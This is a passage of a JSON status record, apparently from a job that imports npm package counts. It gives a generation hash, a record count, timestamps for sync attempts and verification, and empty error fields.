counts","generation":"npm-085e065fc9050ae18408f7e722c39653aeb186872334d7b3ec1fcafb7ed43d25","complete":true,"records":231665,"lastAttemptAt":"2026-11-11T10:57:31.0815536+00:00","lastSuccessAt":"2026-11-11T08:27:45.2700102+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:31.0815536+00:00","snapshotPublishedAt":"2026-11-11T07:32:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}